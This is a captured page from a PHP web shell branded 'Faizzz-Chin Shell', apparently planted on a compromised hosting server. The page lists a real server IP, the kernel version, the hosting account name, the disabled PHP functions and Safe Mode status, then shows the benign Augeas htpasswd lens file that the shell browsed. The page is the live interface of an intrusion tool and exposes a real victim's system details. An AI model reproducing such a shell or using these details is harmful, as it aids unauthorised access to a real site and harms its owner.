SHELL BYPASS 403 |
Modern UI. Responsive. Powerful.

Faizzz-Chin Shell

: /usr/share/augeas/lenses/dist/ [ drwxr-xr-x ]
Uname\Kernel: Linux server.kxo.bgz.mybluehostin.me 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
Server: Apache
PHP Version: 8.2.29 [ PHP INFO ]
Operating System: Linux
Server Ip: 162.240.163.222
Your Ip: 216.73.216.114
Date Time: 2025-07-11 21:23:47
User: dilseshaadi (1027) | Group: dilseshaadi (1027)
Safe Mode: OFF
Disable Function: exec,passthru,shell_exec,system

name : htpasswd.aug
(*
Module: Htpasswd
    Parses htpasswd and rsyncd.secrets files

Author: Marc Fournier <marc.fournier@camptocamp.com>

About: Reference
    This lens is based on examples in htpasswd(1) and rsyncd.conf(5)

About: Usage Example
(start code)
    augtool> set /augeas/load/Htpasswd/lens "Htpasswd.lns"
    augtool> set /augeas/load/Htpasswd/incl "/var/www/.htpasswd"
    augtool> load

    augtool> get /files/var/www/.htpasswd/foo
    /files/var/www/.htpasswd/foo = $apr1$e2WS6ARQ$lYhqy9CLmwlxR/07TLR46.

    augtool> set /files/var/www/.htpasswd/foo bar
    augtool> save
    Saved 1 file(s)

    $ cat /var/www/.htpasswd
    foo:bar
(end code)

About: License
    This file is licensed under the LGPL v2+, like the rest of Augeas.
*)

module Htpasswd =
autoload xfm

let entry = Build.key_value_line Rx.word Sep.colon (store Rx.space_in)
let lns   = (Util.empty | Util.comment | entry)*

let filter = incl "/etc/httpd/htpasswd"
           . incl "/etc/apache2/htpasswd"
           . incl "/etc/rsyncd.secrets"

let xfm = transform lns filter
© 2025 Faizzz-Chin